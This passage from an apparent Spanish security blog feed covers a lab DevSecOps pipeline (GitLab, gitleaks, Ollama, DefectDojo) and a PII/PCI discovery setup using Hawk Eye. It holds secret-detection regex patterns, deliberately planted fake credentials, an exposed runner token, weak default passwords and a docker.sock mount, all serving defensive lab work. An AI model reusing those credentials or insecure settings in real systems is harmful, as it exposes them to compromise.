<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763161062609/864d2563-0645-48d5-b822-f9623a4911c6.png" alt class="image--center mx-auto" /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Es importante que crees tu tunnel de Cloudflare con tus datos. Este es un dominio que uso de prueba, para mis PoC.</div>
</div>

<p>Sigamos con los demás componentes.</p>
<h2 id="heading-gitlab">Gitlab</h2>
<p>Vamos a iniciar sesión en http://localhost:8000 con el usuario: <code>root</code> y la contraseña: <code>changeme123</code>.</p>
<h3 id="heading-outbound">Outbound</h3>
<p>Una vez dentro, configuraremos algunos elementos específicos, como el <strong>Outbound</strong> para habilitar las integraciones.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762461311420/90e619cf-51e5-4128-9adf-d8d21ee02923.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-proyecto">Proyecto</h3>
<p>Ahora vamos a crear el proyecto y subir el código.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763154158216/a3b90c76-abb7-4273-8014-910a4a280a67.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash"><span class="hljs-comment"># Eliminamos .git</span>
sudo rm -R .git

git init --initial-branch=master
git remote add origin http://localhost:8000/root/python-application.git
git add .
git commit -m <span class="hljs-string">"Initial commit"</span>
git push --set-upstream origin master
</code></pre>
<p>Listo! Tenemos nuestro proyecto en Gitlab.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763154429909/91dbee32-6d29-4ccc-9853-1d7ca4f586c9.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-webook">Webook</h3>
<p>Una vez generado el proyecto vamos a crear el <strong>Webhook</strong> que hablara con <strong>N8N</strong> cada vez que hay un evento en el pipeline. Tenemos que tildar <code>Pipeline events</code> para la PoC vamos a deshabilitar el SSL y la ruta sera del Webhook sera <code>http://n8n:5678/webhook/gitlab-ai</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763155760492/d354aca0-9f3e-49f4-8cfc-b79c59cf3473.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-registrar-runner"><strong>Registrar Runner</strong></h3>
<p>Vamos a registrar el runner que se encargará de ejecutar nuestro proyecto. Para ello nos vamos a meter dentro del docker gitlab-runner y ejecutar algunos comandos. Previo a eso necesitamos un token. Ingresamos al docker con:</p>
<pre><code class="lang-bash">docker <span class="hljs-built_in">exec</span> -it gitlab-runner sh
</code></pre>
<p>Ahí aplicamos el comando que nos da Gitlab.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763155054365/0462ab15-bf93-4688-9aaf-66f96853e6fd.png" alt class="image--center mx-auto" /></p>
<p>Vamos a editar el config.toml de runner.</p>
<pre><code class="lang-bash">docker <span class="hljs-built_in">exec</span> -it gitlab-runner vi /etc/gitlab-runner/config.toml
</code></pre>
<p>Deberia quedar asi:</p>
<pre><code class="lang-bash">concurrent = 1
check_interval = 0
shutdown_timeout = 0

[session_server]
  session_timeout = 1800

[[runners]]
  name = <span class="hljs-string">"docker-desktop"</span>
  url = <span class="hljs-string">"http://localhost:8000"</span>
  id = 1
  token = <span class="hljs-string">"glrt-GWHqJu72JQo3xR1-1okEwW86MQp0OjEKdToxCw.01.1215lwx2d"</span>
  token_obtained_at = 2025-11-14T21:15:44Z
  token_expires_at = 0001-01-01T00:00:00Z
  executor = <span class="hljs-string">"docker"</span>
  [runners.cache]
    MaxUploadedArchiveSize = 0
    [runners.cache.s3]
    [runners.cache.gcs]
    [runners.cache.azure]
  [runners.docker]
    tls_verify = <span class="hljs-literal">false</span>
    image = <span class="hljs-string">"alpine-latest"</span>
    privileged = <span class="hljs-literal">false</span>
    volumes = [<span class="hljs-string">"/var/run/docker.sock:/var/run/docker.sock"</span>, <span class="hljs-string">"/cache"</span>]
    disable_entrypoint_overwrite = <span class="hljs-literal">false</span>
    oom_kill_disable = <span class="hljs-literal">false</span>
    disable_cache = <span class="hljs-literal">false</span>
    shm_size = 0
    network_mode = <span class="hljs-string">"host"</span>
    network_mtu = 0
</code></pre>
<p>Listo, solo queda reiniciarlo con un <code>docker restart gitlab-runner</code>. Tenemos el runner en linea y listo para funcionar.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763155084480/030cabd5-7427-4ad5-928a-611ca8a81958.png" alt class="image--center mx-auto" /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Es importante crear un repositorio en Docker Hub, que es donde guardamos la imagen. Agregar las variables <strong>DOCKERHUB_USERNAME</strong> &amp; <strong>DOCKERHUB_PASSWORD </strong>en el CI/CD. Mas adelante deberas agregar el variable de Defect Dojo y la configuracion de Kubernetes.</div>
</div>

<p>Más adelante, deberás agregar la variable de Defect Dojo y la configuración de Kubernetes. Aquí tienes una imagen de ejemplo.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763160166690/26ca08f1-436c-426f-b714-3f1463ac4285.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-defect-dojo">Defect Dojo</h2>
<p>Vamos a reunir todos nuestros hallazgos en esta plataforma. Una vez que esté en funcionamiento, la configuraremos para que esté operativa y podamos extraer la API Key que necesitamos para nuestro CI en Gitlab.</p>
<pre><code class="lang-basic"># Inicializar la <span class="hljs-keyword">base</span> de datos de DefectDojo
docker exec -it defectdojo-uwsgi ./manage.py migrate

# Crear el superusuario (admin/admin123)
docker exec -it defectdojo-uwsgi ./manage.py createsuperuser --noinput --username admin --email admin@defectdojo.local

# Cambiar la password del admin
docker exec -it defectdojo-uwsgi python manage.py <span class="hljs-keyword">shell</span> &lt;&lt; <span class="hljs-keyword">EOF</span>
from django.contrib.auth import get_user_model
User = get_user_model()
user = User.objects.<span class="hljs-keyword">get</span>(username=<span class="hljs-comment">'admin')</span>
user.set_password(<span class="hljs-comment">'admin123')</span>
user.<span class="hljs-keyword">save</span>()
<span class="hljs-keyword">EOF</span>

# Reiniciar los servicios
docker restart defectdojo-uwsgi defectdojo-nginx
</code></pre>
<p>Generamos la API Key una vez que hicimos el Sign In.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763127860069/cac382f1-a0b2-496e-add1-a0ecd09a906c.png" alt class="image--center mx-auto" /></p>
<p>La copiamos y luego la agregamos como variable en CI/CD bajo el nombre de <code>DEFECTDOJO_API_KEY</code>.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Es importante crear el Enviroment Development. Para que pueda subir los hallazgos el CI.</div>
</div>

<h2 id="heading-n8n">N8N</h2>
<p>Importamos el proyecto y rellenamos lo que nos falta. Por un lado es el Token del Bot de Slack, en internet vas a encontrar como sacarlo, y por el otro un PRIVATE-TOKEN.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763160445795/f2b3b977-532e-4650-9ff1-48dd7d8fee3d.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763319569960/cbbbf378-361f-45ae-b657-3e14f0e1e46a.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-pipeline">Pipeline</h2>
<p>Vamos a correr el pipeline. Hacemos un cambio y hacemos el push.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763317009588/2123c003-bfc6-415d-8e5f-270a599d54ac.png" alt class="image--center mx-auto" /></p>
<p>Slack nos avisa, que tenemos que hacer. Le damos play al <code>deploy-k3s</code>. Listo, ya esta corriendo nuestro deployment.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763317049447/053a508f-a9c9-48ed-8ab8-aff5a833b7fd.png" alt class="image--center mx-auto" /></p>
<p>Vemos como se despliega.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763317142785/64e4571b-dc5d-4cf8-b9b4-986833fe523b.png" alt class="image--center mx-auto" /></p>
<p>El mensaje de Slack donde se ejecuto el pipeline numero #96.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763317195123/5814667f-bf4a-4407-b4cc-25d24f21ebbf.png" alt class="image--center mx-auto" /></p>
<p>Ya estamos productivos.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763317238747/316005cd-e652-48fe-94cf-00d4c6e829b0.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-generacion-de-errores">Generación de Errores</h2>
<p>Ahora que el pipeline está listo, es momento de probar qué sucede si encuentra algo. Para esto, voy a crear un archivo con contraseñas para que <strong>gitleaks</strong> lo detecte y lo pase a <strong>Ollama</strong> para el análisis.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Crear un archivo con un secreto</span>
cat &gt; app/config.py &lt;&lt; <span class="hljs-string">'EOF'</span>
<span class="hljs-comment"># Configuración de la aplicación</span>
import os

<span class="hljs-comment"># NUNCA hagas esto en producción</span>
AWS_ACCESS_KEY = <span class="hljs-string">"AKIAIOSFODNN7EXAMPLE"</span>
AWS_SECRET_KEY = <span class="hljs-string">"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"</span>
DATABASE_PASSWORD = <span class="hljs-string">"super_secret_password_123"</span>

<span class="hljs-comment"># Configuración de la base de datos</span>
DB_CONFIG = {
    <span class="hljs-string">"host"</span>: <span class="hljs-string">"localhost"</span>,
    <span class="hljs-string">"port"</span>: 5432,
    <span class="hljs-string">"username"</span>: <span class="hljs-string">"admin"</span>,
    <span class="hljs-string">"password"</span>: <span class="hljs-string">"admin123456"</span>,  <span class="hljs-comment"># Contraseña hardcodeada</span>
    <span class="hljs-string">"database"</span>: <span class="hljs-string">"production_db"</span>
} 
EOF
</code></pre>
<p>Hacemos el commit.</p>
<pre><code class="lang-bash">
<span class="hljs-comment"># Commit</span>
git add app/config.py
git commit -m <span class="hljs-string">"Change with Leaks"</span>
git push
</code></pre>
<p>Aquí vemos el error y el análisis de Ollama. Si todo funciona correctamente, el Job de Bandit y GitLeaks encontrará problemas, lo que hará que el Security Gate falle.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763311722774/3cb1191d-e597-41a2-bda8-8f33b5ada0c8.png" alt class="image--center mx-auto" /></p>
<p>Esto activará el <strong>Webhook</strong> a N8N para que Ollama lo analice y nos notifique por <strong>Slack</strong>. Recibimos el mensaje con el análisis realizado por la LLM. Es genial para saber dónde están los errores.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763317581472/63fc0ba7-3f6a-45e9-b383-05c2790918f2.png" alt class="image--center mx-auto" /></p>
<p>Mientras tanto en Defect Dojo, tenemos una manera de visualizar los hallazgos.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763312007019/30d68c72-2bba-4461-9493-b5ff8799f073.png" alt class="image--center mx-auto" /></p>
<p>Espero que hayan disfrutado del proceso y puedan implementar IA en sus entornos. Seguiremos explorando esto, añadiendo <strong>OWASP ZAP</strong> y algunas otras cosas para interactuar con Slack.</p>
]]></content:encoded></item><item><title><![CDATA[La Batalla perdida de la Clasificación de la Información, primera parte.]]></title><description><![CDATA[Introducción
La clasificación de datos, esa práctica noble de etiquetar documentos, bases de datos y buckets según su sensibilidad, fue pensada para dar control. Pero en la era de la nube y el desarrollo ágil, la clasificación se volvió una ilusión. ...]]></description><link>https://blog.santiagoagustinfernandez.com/la-batalla-perdida-de-la-clasificacion-de-la-informacion</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/la-batalla-perdida-de-la-clasificacion-de-la-informacion</guid><category><![CDATA[PCI DSS]]></category><category><![CDATA[PII]]></category><category><![CDATA[classification]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Sat, 01 Nov 2025 22:14:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762033962952/ddc262f2-1ce8-48af-bd87-5d157ea616af.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-introduccion">Introducción</h3>
<p>La clasificación de datos, esa práctica noble de etiquetar documentos, bases de datos y buckets según su sensibilidad, fue pensada para dar control. Pero en la era de la nube y el desarrollo ágil, la clasificación se volvió una ilusión. Los equipos crean recursos efímeros; los pipelines generan snapshots y backups; los scripts y lambdas almacenan datos temporales. El resultado: <strong>PII</strong> y <strong>PCI</strong> dispersas en lugares que nadie revisó.</p>
<p>En lugar de intentar imponer una clasificación perfecta (una batalla perdida), proponemos otro enfoque: encontrar lo que importa. Descubrir automáticamente las superficies que contienen datos sensibles, priorizar por riesgo y aplicar controles proporcionalmente. Esto no solo es pragmático: es la única estrategia viable para reducir la exposición real en ambientes dinámicos.</p>
<p>En la prueba de concepto que desarrollé, combiné LocalStack para emular <strong>AWS S3</strong>, un contenedor <strong>MySQL</strong> y un escáner como <strong>Hawk Eye</strong>. Una manera de evidenciar archivos y tablas con PII/PCI que no figuraban en ningún inventario. A grandes rasgos, <strong>Hawk Eye</strong> realiza el descubrimiento, luego los hallazgos son clasificados, se revisa si es algo ya evidenciado o no y eso se impacta en <strong>The Hive</strong> para un seguimiento.</p>
<h3 id="heading-arquitectura">Arquitectura</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762120094746/05430649-bfff-4205-a197-f5244258119b.png" alt class="image--center mx-auto" /></p>
<p>Aca esta nuestro <code>docker compose</code>, todo nuestro stack.</p>
<pre><code class="lang-bash">services:
  localstack:
    image: localstack/localstack:2.2
    container_name: localstack
    environment:
      - SERVICES=s3
      - DEFAULT_REGION=us-east-1
      - DEBUG=1
    ports:
      - <span class="hljs-string">"4566:4566"</span>
    volumes:
      - <span class="hljs-string">"./localstack_data:/tmp/localstack"</span>
    healthcheck:
      <span class="hljs-built_in">test</span>: [<span class="hljs-string">"CMD"</span>, <span class="hljs-string">"curl"</span>, <span class="hljs-string">"-f"</span>, <span class="hljs-string">"http://localhost:4566/_localstack/health"</span>]
      interval: 10s
      timeout: 5s
      retries: 5
    networks:
      - hawk-network

  hawk-mysql:
    image: mysql:8.0
    container_name: hawk-mysql 
    environment:
      MYSQL_ROOT_PASSWORD: rootpassword
      MYSQL_DATABASE: pocdb
    ports:
      - <span class="hljs-string">"3306:3306"</span>
    volumes:
      - mysql_data:/var/lib/mysql
    healthcheck:
      <span class="hljs-built_in">test</span>: [<span class="hljs-string">"CMD"</span>, <span class="hljs-string">"mysqladmin"</span>, <span class="hljs-string">"ping"</span>, <span class="hljs-string">"-h"</span>, <span class="hljs-string">"localhost"</span>, <span class="hljs-string">"-u"</span>, <span class="hljs-string">"root"</span>, <span class="hljs-string">"-prootpassword"</span>]
      interval: 10s
      timeout: 5s
      retries: 5
    networks:
      - hawk-network

  cassandra:
    image: cassandra:4.1
    container_name: cassandra
    environment:
      - MAX_HEAP_SIZE=1G
      - HEAP_NEWSIZE=256M
      - CASSANDRA_CLUSTER_NAME=thehive
    volumes:
      - cassandra_data:/var/lib/cassandra
    networks:
      - hawk-network
    healthcheck:
      <span class="hljs-built_in">test</span>: [<span class="hljs-string">"CMD-SHELL"</span>, <span class="hljs-string">"cqlsh -e 'describe cluster' || exit 1"</span>]
      interval: 30s
      timeout: 10s
      retries: 10
      start_period: 120s

  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.17.9
    container_name: elasticsearch
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=<span class="hljs-literal">false</span>
      - cluster.name=thehive
      - <span class="hljs-string">"ES_JAVA_OPTS=-Xms512m -Xmx512m"</span>
    volumes:
      - elasticsearch_data:/usr/share/elasticsearch/data
    networks:
      - hawk-network
    healthcheck:
      <span class="hljs-built_in">test</span>: [<span class="hljs-string">"CMD-SHELL"</span>, <span class="hljs-string">"curl -f http://localhost:9200/_cluster/health || exit 1"</span>]
      interval: 30s
      timeout: 10s
      retries: 5
      start_period: 60s

  thehive:
    image: strangebee/thehive:5.0
    platform: linux/amd64   
    container_name: thehive
    depends_on:
      cassandra:
        condition: service_healthy
      elasticsearch:
        condition: service_healthy
    ports:
      - <span class="hljs-string">"9000:9000"</span>
    environment:
      - JVM_OPTS=-Xms1G -Xmx1G
    volumes:
      - thehive_data:/opt/thehive/data
      - ./thehive-config/application.conf:/etc/thehive/application.conf:ro
    networks:
      - hawk-network
    restart: unless-stopped
    healthcheck:
      <span class="hljs-built_in">test</span>: [<span class="hljs-string">"CMD"</span>, <span class="hljs-string">"curl"</span>, <span class="hljs-string">"-f"</span>, <span class="hljs-string">"http://localhost:9000/api/v1/status"</span>]
      interval: 30s
      timeout: 10s
      retries: 5
      start_period: 180s

  hawk-scanner:
    build: .
    container_name: hawk-scanner
    platform: linux/amd64
    depends_on:
      hawk-mysql:
        condition: service_healthy
      localstack:
        condition: service_healthy
      thehive:
        condition: service_started
    environment:
      - AWS_ACCESS_KEY_ID=<span class="hljs-built_in">test</span>
      - AWS_SECRET_ACCESS_KEY=<span class="hljs-built_in">test</span>
      - AWS_ENDPOINT_URL=http://localstack:4566
      - AWS_DEFAULT_REGION=us-east-1
      - PYTHONIOENCODING=utf-8
      - LANG=C.UTF-8
      - LC_ALL=C.UTF-8
    volumes:
      - ./alerts:/app/alerts
      - ./hawk-scanner/connection.yml:/app/connection.yml
      - ./hawk-scanner/fingerprint.yml:/app/fingerprint.yml
      - ./hawk-scanner/data:/app/data
    <span class="hljs-built_in">command</span>: tail -f /dev/null
    networks:
      - hawk-network

networks:
  hawk-network:
    driver: bridge

volumes:
  mysql_data:
  cassandra_data:
  elasticsearch_data:
  thehive_data:
</code></pre>
<h3 id="heading-hawk-scanner">Hawk Scanner</h3>
<p>Primero el Dockerfile para la creación del contenedor que contendrá Hawk Eye.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Dockerfile corregido</span>
FROM python:3.11-slim

ENV DEBIAN_FRONTEND=noninteractive \
    PYTHONUNBUFFERED=1

WORKDIR /app

<span class="hljs-comment"># Dependencias del sistema</span>
RUN apt-get update \
 &amp;&amp; apt-get install -y --no-install-recommends \
    curl \
    git \
    netcat-openbsd \
    build-essential \
    libgl1 \
    libglx-mesa0 \
    libglib2.0-0 \
 &amp;&amp; rm -rf /var/lib/apt/lists/*

<span class="hljs-comment"># Instalar dependencias Python</span>
COPY requirements.txt /app/requirements.txt
RUN pip install --no-cache-dir -r /app/requirements.txt

<span class="hljs-comment"># Copiar todo el directorio del scanner</span>
COPY hawk-scanner /app/

<span class="hljs-comment"># Crear carpetas necesarias</span>
RUN mkdir -p /app/alerts /app/data \
 &amp;&amp; chmod -R a+rX /app

<span class="hljs-comment"># WORKDIR ya es /app (donde están los archivos yml)</span>
CMD [<span class="hljs-string">"python"</span>, <span class="hljs-string">"run_hawk_scanner.py"</span>]
</code></pre>
<p>Vamos a configurar las conexiones para que Hawk Eye pueda hacer la investigación. En mi caso me propuse investigar AWS S3 y una BBDD MySQL.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># connection.yml</span>
<span class="hljs-comment"># Configuración de conexiones para Hawk-eye Scanner</span>
<span class="hljs-comment"># Este archivo define las fuentes de datos a escanear</span>

notify:
  redacted: <span class="hljs-literal">true</span>  <span class="hljs-comment"># Redactar datos sensibles en las notificaciones</span>
  suppress_duplicates: <span class="hljs-literal">true</span>  <span class="hljs-comment"># Suprimir alertas duplicadas</span>

  <span class="hljs-comment"># Opcional: Configurar webhook de Slack para notificaciones</span>
  <span class="hljs-comment"># slack:</span>
  <span class="hljs-comment">#   webhook_url: https://hooks.slack.com/services/YOUR/WEBHOOK/URL</span>
  <span class="hljs-comment">#   mention: "&lt;@USERID&gt;"  # Opcional: mencionar usuario/bot en alertas</span>

sources:
  <span class="hljs-comment"># ==========================================</span>
  <span class="hljs-comment"># CONFIGURACIÓN MYSQL</span>
  <span class="hljs-comment"># ==========================================</span>
  mysql:
    poc_mysql:
      host: hawk-mysql
      port: 3306
      user: pocuser
      password: pocpassword
      database: pocdb
      limit_start: 0
      limit_end: 10000
      <span class="hljs-comment"># Opcional: especificar tablas específicas</span>
      <span class="hljs-comment"># tables:</span>
      <span class="hljs-comment">#   - payments</span>
      <span class="hljs-comment">#   - users</span>
      <span class="hljs-comment"># Opcional: excluir columnas</span>
      <span class="hljs-comment"># exclude_columns:</span>
      <span class="hljs-comment">#   - id</span>
      <span class="hljs-comment">#   - created_at</span>

  <span class="hljs-comment"># ==========================================</span>
  <span class="hljs-comment"># CONFIGURACIÓN S3 (LOCALSTACK)</span>
  <span class="hljs-comment"># ==========================================</span>
  s3:
    poc_s3:
      access_key: <span class="hljs-built_in">test</span>
      secret_key: <span class="hljs-built_in">test</span>
      bucket_name: poc-bucket
      endpoint_url: http://localstack:4566  <span class="hljs-comment"># LocalStack endpoint</span>
      cache: <span class="hljs-literal">false</span>
      <span class="hljs-comment"># Opcional: patrones a excluir</span>
      <span class="hljs-comment"># exclude_patterns:</span>
      <span class="hljs-comment">#   - .log</span>
      <span class="hljs-comment">#   - .tmp</span>

  <span class="hljs-comment"># ==========================================</span>
  <span class="hljs-comment"># CONFIGURACIÓN FILESYSTEM (Opcional)</span>
  <span class="hljs-comment"># ==========================================</span>
  <span class="hljs-comment"># fs:</span>
  <span class="hljs-comment">#   local_scan:</span>
  <span class="hljs-comment">#     path: /app/test-data</span>
  <span class="hljs-comment">#     exclude_patterns:</span>
  <span class="hljs-comment">#       - .git</span>
  <span class="hljs-comment">#       - node_modules</span>
  <span class="hljs-comment">#       - venv</span>
  <span class="hljs-comment">#       - __pycache__</span>

  <span class="hljs-comment"># ==========================================</span>
  <span class="hljs-comment"># CONFIGURACIÓN REDIS (Opcional)</span>
  <span class="hljs-comment"># ==========================================</span>
  <span class="hljs-comment"># redis:</span>
  <span class="hljs-comment">#   poc_redis:</span>
  <span class="hljs-comment">#     host: redis</span>
  <span class="hljs-comment">#     port: 6379</span>
  <span class="hljs-comment">#     password: your_redis_password</span>

  <span class="hljs-comment"># ==========================================</span>
  <span class="hljs-comment"># CONFIGURACIÓN POSTGRESQL (Opcional)</span>
  <span class="hljs-comment"># ==========================================</span>
  <span class="hljs-comment"># postgresql:</span>
  <span class="hljs-comment">#   poc_postgres:</span>
  <span class="hljs-comment">#     host: postgres</span>
  <span class="hljs-comment">#     port: 5432</span>
  <span class="hljs-comment">#     user: postgres</span>
  <span class="hljs-comment">#     password: postgres</span>
  <span class="hljs-comment">#     database: testdb</span>
  <span class="hljs-comment">#     limit_start: 0</span>
  <span class="hljs-comment">#     limit_end: 1000</span>
</code></pre>
<p>Y ahora lo mas importante ¿Que estamos buscando? Para ello generamos <code>fingerprint.yml</code>.</p>
<pre><code class="lang-bash"><span class="hljs-string">"Credit Card - Visa"</span>: <span class="hljs-string">'\b4[0-9]{12}(?:[0-9]{3})?\b'</span>
<span class="hljs-string">"Credit Card - Mastercard"</span>: <span class="hljs-string">'\b5[1-5][0-9]{14}\b'</span>
<span class="hljs-string">"Credit Card - American Express"</span>: <span class="hljs-string">'\b3[47][0-9]{13}\b'</span>
<span class="hljs-string">"Credit Card - Discover"</span>: <span class="hljs-string">'\b6(?:011|5[0-9]{2})[0-9]{12}\b'</span>
<span class="hljs-string">"Social Security Number (SSN)"</span>: <span class="hljs-string">'\b\d{3}-\d{2}-\d{4}\b'</span>
<span class="hljs-string">"Email Address"</span>: <span class="hljs-string">'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b'</span>
<span class="hljs-string">"Phone Number - US"</span>: <span class="hljs-string">'\b(?:\+?1[-.]?)?\(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}\b'</span>
<span class="hljs-string">"Phone Number - International"</span>: <span class="hljs-string">'\b\+\d{1,3}[-.\s]?\d{1,4}[-.\s]?\d{1,4}[-.\s]?\d{1,9}\b'</span>
<span class="hljs-string">"AWS Access Key"</span>: <span class="hljs-string">'\b(AKIA|A3T|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}\b'</span>
<span class="hljs-string">"AWS Secret Key"</span>: <span class="hljs-string">'\b[A-Za-z0-9/+=]{40}\b'</span>
<span class="hljs-string">"Private Key"</span>: <span class="hljs-string">'-----BEGIN (RSA|DSA|EC|OPENSSH|PGP) PRIVATE KEY-----'</span>
<span class="hljs-string">"Generic Password"</span>: <span class="hljs-string">"(?i)(password|pwd|passwd)\\s*[=:]\\s*\\S{4,}"</span>
<span class="hljs-string">"API Key"</span>: <span class="hljs-string">"(?i)(api[_-]?key|apikey)\\s*[=:]\\s*[A-Za-z0-9_\\-]{20,}"</span>
<span class="hljs-string">"JWT Token"</span>: <span class="hljs-string">'\beyJ[A-Za-z0-9_-]*\.eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9_-]*\b'</span>
<span class="hljs-string">"IP Address - Private"</span>: <span class="hljs-string">'\b(?:10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(?:1[6-9]|2[0-9]|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})\b'</span>
<span class="hljs-string">"IBAN"</span>: <span class="hljs-string">'\b[A-Z]{2}\d{2}[A-Z0-9]{4}\d{7}([A-Z0-9]?){0,16}\b'</span>
<span class="hljs-string">"Bitcoin Address"</span>: <span class="hljs-string">'\b[13][a-km-zA-HJ-NP-Z1-9]{25,34}\b'</span>
<span class="hljs-string">"URL with Credentials"</span>: <span class="hljs-string">'(?i)https?://[^:]+:[^@]+@[^\s]+'</span>
</code></pre>
<p><strong>¿Qué hace?</strong></p>
<ul>
<li><p>Define 15+ patrones regex para detectar datos sensibles</p>
</li>
<li><p>Incluye: tarjetas (Visa, MC, Amex), SSN, emails, teléfonos, AWS keys, JWT, passwords, IPs, etc.Cada</p>
</li>
</ul>
<h3 id="heading-generacion-datos-dummies">Generación Datos Dummies</h3>
<p>Vamos a crear un entorno virtual para ejecutar el generador de datos. Lo encontrarás en la carpeta data.</p>
<pre><code class="lang-yaml"><span class="hljs-string">python3</span> <span class="hljs-string">-m</span> <span class="hljs-string">venv</span> <span class="hljs-string">env</span>
<span class="hljs-string">source</span> <span class="hljs-string">env/bin/activate</span>
<span class="hljs-comment"># Instalar dependencias</span>
<span class="hljs-string">pip3</span> <span class="hljs-string">install</span> <span class="hljs-string">-r</span> <span class="hljs-string">requirements.txt</span>
<span class="hljs-comment"># Correr el generador</span>
<span class="hljs-string">&gt;</span> <span class="hljs-string">python3</span> <span class="hljs-string">generar_datos.py</span>
<span class="hljs-string">============================================================</span>
<span class="hljs-string">Generando</span> <span class="hljs-string">datos</span> <span class="hljs-string">de</span> <span class="hljs-string">prueba</span> <span class="hljs-string">PCI/PII</span>
<span class="hljs-string">============================================================</span>

[<span class="hljs-number">1</span>] <span class="hljs-string">Conectando</span> <span class="hljs-string">a</span> <span class="hljs-string">MySQL...</span>
[<span class="hljs-number">2</span>] <span class="hljs-string">Creando</span> <span class="hljs-string">tabla</span> <span class="hljs-string">de</span> <span class="hljs-string">pagos...</span>
[<span class="hljs-number">3</span>] <span class="hljs-string">Insertando</span> <span class="hljs-string">datos</span> <span class="hljs-string">PCI</span> <span class="hljs-string">(tarjetas</span> <span class="hljs-string">de</span> <span class="hljs-string">crédito)...</span>
   <span class="hljs-string">✓</span> <span class="hljs-number">4</span> <span class="hljs-string">tarjetas</span> <span class="hljs-string">insertadas</span>

[<span class="hljs-number">4</span>] <span class="hljs-string">Generando</span> <span class="hljs-string">PDF</span> <span class="hljs-string">con</span> <span class="hljs-string">información</span> <span class="hljs-string">PII...</span>
   <span class="hljs-string">✓</span> <span class="hljs-string">PDF</span> <span class="hljs-string">generado</span>

[<span class="hljs-number">5</span>] <span class="hljs-string">Conectando</span> <span class="hljs-string">a</span> <span class="hljs-string">S3</span> <span class="hljs-string">(LocalStack)...</span>
[<span class="hljs-number">6</span>] <span class="hljs-string">Creando</span> <span class="hljs-string">bucket...</span>
   <span class="hljs-string">✓</span> <span class="hljs-string">Bucket</span> <span class="hljs-string">'poc-bucket'</span> <span class="hljs-string">creado</span>
[<span class="hljs-number">7</span>] <span class="hljs-string">Subiendo</span> <span class="hljs-string">PDF</span> <span class="hljs-string">con</span> <span class="hljs-string">datos</span> <span class="hljs-string">sensibles...</span>
   <span class="hljs-string">✓</span> <span class="hljs-attr">PDF subido:</span> <span class="hljs-string">s3://poc-bucket/hr/empleados_confidencial.pdf</span>
[<span class="hljs-number">8</span>] <span class="hljs-string">Subiendo</span> <span class="hljs-string">archivo</span> <span class="hljs-string">de</span> <span class="hljs-string">texto</span> <span class="hljs-string">con</span> <span class="hljs-string">más</span> <span class="hljs-string">PII...</span>
   <span class="hljs-string">✓</span> <span class="hljs-attr">Archivo TXT subido:</span> <span class="hljs-string">s3://poc-bucket/contacts/internal_directory.txt</span>

<span class="hljs-string">============================================================</span>
<span class="hljs-string">✅</span> <span class="hljs-string">DATOS</span> <span class="hljs-string">DE</span> <span class="hljs-string">PRUEBA</span> <span class="hljs-string">GENERADOS</span> <span class="hljs-string">EXITOSAMENTE</span>
<span class="hljs-string">============================================================</span>

<span class="hljs-attr">Resumen:</span>
  <span class="hljs-string">•</span> <span class="hljs-string">MySQL</span> <span class="hljs-string">tabla</span> <span class="hljs-attr">'payments':</span> <span class="hljs-number">4</span> <span class="hljs-string">registros</span> <span class="hljs-string">con</span> <span class="hljs-string">tarjetas</span>
  <span class="hljs-string">•</span> <span class="hljs-attr">S3 archivo PDF:</span> <span class="hljs-number">3</span> <span class="hljs-string">empleados</span> <span class="hljs-string">con</span> <span class="hljs-string">SSN</span> <span class="hljs-string">y</span> <span class="hljs-string">tarjetas</span>
